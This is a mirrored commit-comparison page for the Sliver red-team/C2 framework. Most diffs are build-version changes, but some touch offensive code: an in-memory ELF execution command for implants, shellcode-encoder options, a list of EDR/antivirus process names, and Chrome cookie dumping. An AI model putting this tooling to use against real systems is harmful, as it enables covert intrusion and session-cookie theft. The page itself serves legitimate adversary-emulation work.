mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 17:09:51 -10:00
Compare commits
12
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a2ffcf6d15 | ||
|
|
28ba6d5d5e | ||
|
|
3db7be33e1 | ||
|
|
88c78311b0 | ||
|
|
ee64524e0f | ||
|
|
f296bce38f | ||
|
|
d587273490 | ||
|
|
8924a59fab | ||
|
|
9b301e2de0 | ||
|
|
25d920c980 | ||
|
|
7a33ea7e10 | ||
|
|
5815ed90ec |
No files matched your search
@@ -12,10 +12,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.20.1"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -62,10 +62,10 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "1.19.1"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -16,10 +16,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.20
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
|
||||
@@ -15,10 +15,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -49,10 +49,10 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.19"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -42,6 +42,3 @@ sliver-server-windows.zip
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
|
||||
# Flag to show that go-assets.sh has been run
|
||||
.downloaded_assets
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.20.1
|
||||
FROM golang:1.19.3
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,7 +6,7 @@ FROM golang:1.20.1
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 21.12
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
|
||||
@@ -118,32 +118,32 @@ endif
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean .downloaded_assets validate-go-version
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean .downloaded_assets validate-go-version
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean .downloaded_assets validate-go-version
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean .downloaded_assets validate-go-version
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux-arm64
|
||||
linux-arm64: clean .downloaded_assets validate-go-version
|
||||
linux-arm64: clean validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean .downloaded_assets validate-go-version
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
@@ -178,12 +178,7 @@ clean-all: clean
|
||||
rm -rf ./server/assets/fs/windows/amd64
|
||||
rm -rf ./server/assets/fs/linux/amd64
|
||||
rm -f ./server/assets/fs/*.zip
|
||||
rm -f ./.downloaded_assets
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
|
||||
.downloaded_assets:
|
||||
./go-assets.sh
|
||||
touch ./.downloaded_assets
|
||||
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
[](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
### Features
|
||||
|
||||
|
||||
@@ -280,22 +280,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
// if the flag is not registered.
|
||||
if aliasManifest.IsAssembly {
|
||||
if !ctx.Flags.Bool("in-process") {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
|
||||
}
|
||||
} else if !aliasManifest.IsReflective {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
|
||||
}
|
||||
con.PrintWarnf(msgStr)
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
|
||||
@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool, 1)
|
||||
done := make(chan bool)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
|
||||
@@ -1075,6 +1075,33 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ExecuteInMemoryStr,
|
||||
Help: "Execute a program in memory on the remote system (Linux shared libraries only)",
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("o", "output", false, "capture command output")
|
||||
f.Bool("s", "save", false, "save output to a file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("E", "stderr", "", "remote path to redirect STDERR to")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Bool("r", "remote", false, "execute a file from the remote system")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("filepath", "local path to an ELF file to execute on the remote system")
|
||||
a.StringList("arguments", "arguments to the command")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
exec.ExecuteInMemoryCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ExecuteAssemblyStr,
|
||||
Help: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
||||
@@ -1328,7 +1355,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1389,7 +1415,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1512,7 +1537,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1543,7 +1567,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1602,7 +1625,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int64("M", "minutes", 0, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 60, "beacon interval seconds")
|
||||
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
|
||||
@@ -60,7 +60,6 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
process := ctx.Flags.String("process")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
inProcess := ctx.Flags.Bool("in-process")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
@@ -68,7 +67,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 && !inProcess {
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
@@ -95,7 +94,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: inProcess,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"debug/elf"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/golang/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteInMemoryCmd - Function to execute an ELF file in memory using the ExecuteInMemory RPC
|
||||
func ExecuteInMemoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
remotePath string
|
||||
elfBytes []byte
|
||||
err error
|
||||
)
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
// check beacon or session OS
|
||||
if session != nil {
|
||||
if session.OS != "linux" {
|
||||
con.PrintErrorf("This command is only available on Linux")
|
||||
return
|
||||
}
|
||||
} else if beacon != nil {
|
||||
if beacon.OS != "linux" {
|
||||
con.PrintErrorf("This command is only available on Linux")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
elfPath := ctx.Args.String("filepath")
|
||||
elfArgs := ctx.Args.StringList("arguments")
|
||||
elfRemote := ctx.Flags.Bool("remote")
|
||||
hostname := getHostname(session, beacon)
|
||||
|
||||
if elfRemote {
|
||||
remotePath = elfPath
|
||||
elfArgs = append([]string{elfPath}, elfArgs...)
|
||||
} else {
|
||||
elfBytes, err = os.ReadFile(elfPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
elfFile, _ := elf.NewFile(bytes.NewReader(elfBytes))
|
||||
if goSection := elfFile.Section(".gopclntab"); goSection != nil {
|
||||
con.PrintErrorf("Go binary detected, aborting")
|
||||
return
|
||||
}
|
||||
// Don't leak client info to the Implant
|
||||
cmdPath := filepath.Base(elfPath)
|
||||
elfArgs = append([]string{cmdPath}, elfArgs...)
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing ELF ...", ctrl)
|
||||
execInMem, err := con.Rpc.ExecuteInMemory(context.Background(), &sliverpb.ExecuteInMemoryReq{
|
||||
Data: elfBytes,
|
||||
Args: elfArgs,
|
||||
Path: remotePath,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
if execInMem.Response != nil && execInMem.Response.Async {
|
||||
con.AddBeaconCallback(execInMem.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execInMem)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
HandleExecuteInMemoryResponse(execInMem, elfPath, hostname, ctx, con)
|
||||
})
|
||||
if execInMem.Response != nil && execInMem.Response.Err != "" {
|
||||
con.PrintErrorf("%s", execInMem.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if execInMem.Response != nil && execInMem.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", execInMem.Response.Err)
|
||||
return
|
||||
}
|
||||
HandleExecuteInMemoryResponse(execInMem, elfPath, hostname, ctx, con)
|
||||
}
|
||||
|
||||
func HandleExecuteInMemoryResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var lootedOutput []byte
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if saveLoot || saveOutput {
|
||||
// stdout and stderr are combined implant side
|
||||
lootedOutput = combineCommandOutput(exec, true, false)
|
||||
}
|
||||
if saveLoot {
|
||||
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
|
||||
}
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
|
||||
}
|
||||
PrintExecute(exec, ctx, con)
|
||||
}
|
||||
@@ -32,7 +32,7 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
}
|
||||
|
||||
@@ -99,7 +99,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
if err != nil {
|
||||
@@ -755,7 +755,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
@@ -791,9 +791,9 @@ func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
if disableSGN {
|
||||
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
} else {
|
||||
confirm := false
|
||||
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
|
||||
if confirm {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
|
||||
@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
implantFile, err := compile(profile.Config, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -455,7 +455,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
|
||||
|
||||
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
|
||||
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
|
||||
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
|
||||
|
||||
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"compress/zlib"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -104,7 +103,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
zlibWriter.Close()
|
||||
stage2 = compBuff.Bytes()
|
||||
case "gzip":
|
||||
stage2 = encoders.GzipBuf(stage2)
|
||||
stage2 = util.GzipBuf(stage2)
|
||||
case "deflate9":
|
||||
fallthrough
|
||||
case "deflate":
|
||||
|
||||
@@ -46,12 +46,6 @@ var (
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
|
||||
@@ -28,7 +28,6 @@ import (
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
@@ -213,23 +212,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
|
||||
|
||||
// ---------------------
|
||||
// Call extension commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgCallExtensionReq:
|
||||
callExtension := &sliverpb.CallExtension{}
|
||||
err := proto.Unmarshal(task.Response, callExtension)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
extensions.PrintExtOutput("", "", callExtension, con)
|
||||
|
||||
// ---------------------
|
||||
// Exec commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgInvokeExecuteAssemblyReq:
|
||||
fallthrough
|
||||
case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
|
||||
fallthrough
|
||||
case sliverpb.MsgExecuteAssemblyReq:
|
||||
@@ -250,7 +235,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
Flags: grumble.FlagMap{
|
||||
"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
"name": &grumble.FlagMapItem{Value: "", IsDefault: true},
|
||||
},
|
||||
}
|
||||
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
|
||||
@@ -566,7 +550,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
"overflow": &grumble.FlagMapItem{Value: false},
|
||||
"skip-pages": &grumble.FlagMapItem{Value: 0},
|
||||
"print-cmdline": &grumble.FlagMapItem{Value: true},
|
||||
"tree": &grumble.FlagMapItem{Value: false},
|
||||
},
|
||||
}
|
||||
processes.PrintPS(beacon.OS, ps, true, ctx, con)
|
||||
|
||||
@@ -196,6 +196,7 @@ const (
|
||||
RevToSelfStr = "rev2self"
|
||||
ExecuteAssemblyStr = "execute-assembly"
|
||||
ExecuteShellcodeStr = "execute-shellcode"
|
||||
ExecuteInMemoryStr = "execute-in-memory"
|
||||
MigrateStr = "migrate"
|
||||
SideloadStr = "sideload"
|
||||
SpawnDllStr = "spawndll"
|
||||
|
||||
@@ -22,7 +22,8 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -58,7 +59,7 @@ const (
|
||||
|
||||
var (
|
||||
// ErrTargetNotFound - Returned when a target cannot be found
|
||||
ErrTargetNotFound = errors.New("target not found")
|
||||
ErrTargetNotFound = errors.New("Target not found")
|
||||
)
|
||||
|
||||
// ManifestBackground - An extension manifest file
|
||||
@@ -128,7 +129,7 @@ func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
|
||||
return nil
|
||||
}
|
||||
for _, targetInfo := range targets {
|
||||
if targetInfo.TargetID.String() == targetID {
|
||||
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
|
||||
return targetInfo
|
||||
}
|
||||
}
|
||||
@@ -226,9 +227,9 @@ func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("non-200 status code")
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -244,9 +245,9 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("non-200 status code")
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -275,10 +276,13 @@ func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Coo
|
||||
dumpCookieTasks := chromedp.Tasks{
|
||||
// read network values
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
cookies, err = network.GetCookies().Do(ctx)
|
||||
cookies, err = network.GetAllCookies().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// for i, cookie := range cookies {
|
||||
// log.Printf("chrome cookie %d: %+v", i, cookie)
|
||||
// }
|
||||
return nil
|
||||
}),
|
||||
}
|
||||
|
||||
@@ -37,5 +37,3 @@ gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
|
||||
# kramdown v1, comment out this line.
|
||||
gem "kramdown-parser-gfm"
|
||||
|
||||
|
||||
gem "webrick", "~> 1.8"
|
||||
+61
-43
@@ -1,43 +1,62 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (6.0.6.1)
|
||||
activesupport (6.0.4.6)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
tzinfo (~> 1.1)
|
||||
zeitwerk (~> 2.2, >= 2.2.2)
|
||||
addressable (2.8.1)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
coffee-script (2.4.1)
|
||||
coffee-script-source
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.23.8)
|
||||
concurrent-ruby (1.2.0)
|
||||
commonmarker (0.23.6)
|
||||
concurrent-ruby (1.1.9)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
